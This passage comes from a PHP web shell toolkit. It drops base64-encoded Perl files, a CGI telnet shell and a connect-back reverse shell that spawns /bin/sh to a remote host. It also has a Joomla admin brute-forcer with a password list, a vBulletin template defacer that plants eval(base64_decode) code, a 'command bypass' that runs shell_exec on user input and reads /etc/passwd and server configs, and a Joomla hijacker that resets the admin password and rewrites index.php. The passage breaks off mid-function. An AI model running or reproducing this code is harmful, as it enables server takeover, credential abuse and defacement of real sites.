EhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0K\';
$file = fopen("izo.cin" ,"w+");
$write = fwrite ($file ,base64_decode($cgishellizocin));
fclose($file);
chmod("izo.cin",0755);
$netcatshell = \'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
YXRhY2hlZFxuXG4iOw==\';
$file = fopen("dc.pl" ,"w+");
$write = fwrite ($file ,base64_decode($netcatshell));
fclose($file);
chmod("dc.pl",0755);
echo "<iframe src=cgitelnet1/izo.cin width=96% height=90% frameborder=0></iframe>
</div>"; }
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jbrute\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jbrute" method="post">
<meta name="author" content="RetnOHacK" />
<meta name="keywords" content="Joomla, Bruter, JoomlaBruter, JoomlaBruterForce, JoomlaBruterForceOnline" />
<meta name="description" content="RetnOHacK #Procoder\'z Team Albanian" />
<center>
</br></br>
<center><b><font color="lime">--==[ Joomla Bruter Force ]==--</font></b><br /><br />
<form method="post" action="" enctype="multipart/form-data">
<table class="tabnet" width="38%" border="0"><center>
<th colspan="2">Joomla Brute Force</th>
<tr><td><p ><font class="d1">User :</font></th>
<input class="inputz" type=\'text\' name="usr" value="admin" size="15"> </font></center><br /><br /></p>
</td></tr>
<tr><td><font class="">Sites list :</font>
</td><td><font class="" >Pass list :</font></td></tr>
<tr>
<td>
<textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>
</td><td>
<textarea name="w0rds" style="background:black;" cols="40" rows="13" >
admin
123456
password
102030
123123
12345
123456789
pass
test
admin123
demo
!@#$%^
</textarea>
</td></tr><center><tr><td>
<font >
<input class="inputzbut" type="submit" name="x" value="start" id="d4">
</font></td></tr><br>
Thanks to procoder, Team Albanian<br></center></table>
</form></center>
<?
@set_time_limit(0);
if($_POST[\'x\']){
echo "<hr>";
$sites = explode("
",$_POST["sites"]); // Get Sites
$w0rds = explode("
",$_POST["w0rds"]); // Get w0rdLiSt
$Attack = new Joomla_brute_Force(); // Active Class
foreach($w0rds as $pwd){
foreach($sites as $site){
$Attack->check_it(txt_cln($site),$_POST[\'usr\'],txt_cln($pwd)); // Brute :D
flush();flush();
}
}
}
# Class & Function\'z
function txt_cln($value){ return str_replace(array("
","
"),"",$value); }
class Joomla_brute_Force{
public function check_it($site,$user,$pass){ // print result
if(eregi(\'com_config\',$this->post($site,$user,$pass))){
echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href=\'$site/administrator/index.php\'>$site/administrator/index.php</a></b></span><BR>";
$f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php
"); fclose($f);
flush();
}else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();}
}
public function post($site,$user,$pass){ // Post -> user & pass
$token = $this->extract_token($site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
@curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\');
@curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\');
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4\');
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,\'username=\'.$user.\'&passwd=\'.$pass.\'&lang=en-GB&option=com_login&task=login&\'.$token.\'=1\');
curl_setopt($curl,CURLOPT_TIMEOUT,20);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
public function extract_token($site){ // get token from source for -> function post
$source = $this->get_source($site);
preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token);
return $token[1][0];
}
public function get_source($site){ // get source for -> function extract_token
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
@curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\');
@curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\');
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4\');
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_TIMEOUT,20);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
}
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'vb\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=vb" method="post">
<br><br><br><div align="center">
<H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">
<b><font color="#FF0000">--==[ VB Index Changer ]==--</font></b>
</div><br>
<?
if(empty($_POST[\'index\'])){
echo "<center><FORM method=\"POST\">";
echo "<table class=\"tabnet\">
<th colspan=\"2\">Vb Index Changer</th>
<tr><td>host </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"localhost\" value=\"localhost\"></td></tr>
<tr><td>database </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"database\" value=\"forum_vb\"></td></tr>
<tr><td>username </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"username\" value=\"user_vb\"></td></tr>
<tr><td>password </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"password\" value=\"vb\"></td></tr>
</tr>
<th colspan=\"2\">Your Index Code</th></table><table class=\"tabnet\">
<TEXTAREA name=\"index\" rows=\"13\" style=\"background:black\" border=\"1\" cols=\"69\" name=\"code\">your index code</TEXTAREA><br>
<INPUT class=\"inputzbut\" type=\"submit\" value=\"setting\" name=\"send\">
</FORM></table></center>";
}else{
$localhost = $_POST[\'localhost\'];
$database = $_POST[\'database\'];
$username = $_POST[\'username\'];
$password = $_POST[\'password\'];
$index = $_POST[\'index\'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$index=str_replace("\'","\'",$index);
$set_index = "{\${eval(base64_decode(\'";
$set_index .= base64_encode("echo \"$index\";");
$set_index .= "\'))}}{\${exit()}}</textarea>";
echo("UPDATE template SET template =\'".$set_index."\' ") ;
$ok=@mysql_query("UPDATE template SET template =\'".$set_index."\'") or die(mysql_error());
if($ok){
echo "!! update finish !!<br><br>";
}
}
}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'bypass\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=bypass" method="post">
<?php
echo "<center/><br/><b><font color=#FF0000>--==[ Command Bypass Exploit ]==--</font></b><br>
";
print_r(\'
<pre>
<form method="POST" action="">
<b><font color=#FF0000><b><font color="#FF0000">Command :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">
</form>
<form method="POST" action=""><strong><b><font color="#FF0000">Menu Bypass :=) </font></strong><select name="liz0" size="1" class="inputz">
<option value="cat /etc/passwd">/etc/passwd</option>
<option value="netstat -an | grep -i listen">netstat</option>
<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
<option value="cat /etc/hosts">/etc/hosts</option>
<option value="cat /etc/named.conf">/etc/named.conf</option>
<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
</select> <input type="submit" class="inputzbut" value="Gö">
</form>
</pre>
\');
ini_restore("safe_mode");
ini_restore("open_basedir");
$liz0=shell_exec($_POST[baba]);
$liz0zim=shell_exec($_POST[liz0]);
$uid=shell_exec(\'id\');
$server=shell_exec(\'uname -a\');
echo "<pre><h4>";
echo $liz0;
echo $liz0zim;
echo "</h4></pre>";
"</div>"; }
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jodexer\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jodexer" method="post">
<?php
function randomt() {
$chars = "abcdefghijkmnopqrstuvwxyz023456789";
srand((double)microtime()*1000000);
$i = 0;
$pass = \'\' ;
while ($i <= 7) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
return $pass;
}
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
{
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
$ar=trim($ar1[0]);
return $ar;
}
if ($_POST[\'form_action\'])
{
$text=file_get_contents($_POST[\'file\']);
$username=entre2v2($text,"public $user = \'","\';");
$password=entre2v2($text,"public $password = \', \'","\';");
$dbname=entre2v2($text,"public $db = \', \'","\';");
$dbprefix=entre2v2($text,"public $dbprefix = \'","\';");
$site_url=($_POST[\'site_url\']);
$h="<? echo(stripslashes(base64_decode(\'".urlencode(base64_encode(str_replace("\'","\'",($_POST[\'code\']))))."\'))); exit; ?>";
$co=randomt();
/*
echo($username);
echo("<br>");
echo($password);
echo("<br>");
echo($dbname);
echo("<br>");
echo($dbprefix);
echo("<br>");
*/
$co=randomt();
if ($_POST[\'form_action\'])
{
$h="<? echo(stripslashes(base64_decode(\'".urlencode(base64_encode(str_replace("\'","\'",($_POST[\'code\']))))."\'))); exit; ?>";
$link=mysql_connect("dzoed.druknet.bt",$username,$password) ;
mysql_select_db($dbname,$link) ;
$tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username =\'admin\' , password = \'2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX\'");
echo("<br>[+] Changing admin password to 123456789");
$req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
if ( $req )
{
#################################################################
###################### V1.6 ######################
#################################################################
$req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id=\'0\' and home=\'1\'");
$data = mysql_fetch_array($req);
$template_name=$data["template"];
$req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name=\'".$template_name."\'");
$data = mysql_fetch_array($req);
$template_id=$data["extension_id"];
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$return=entre2v2($buffer ,\'<input type="hidden" name="return" value="\',\'"\');
$hidden=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',4);
///////////////////////////
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,"com_config");
if($pos === false) {
echo("<br>[+] Login Error");
exit;
}
else {
echo("<br>[+] Login Successful");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',2);
if($hidden2) {
echo("<br>[+] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
exit;
}
echo("<br>[*] Updating Index.php .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
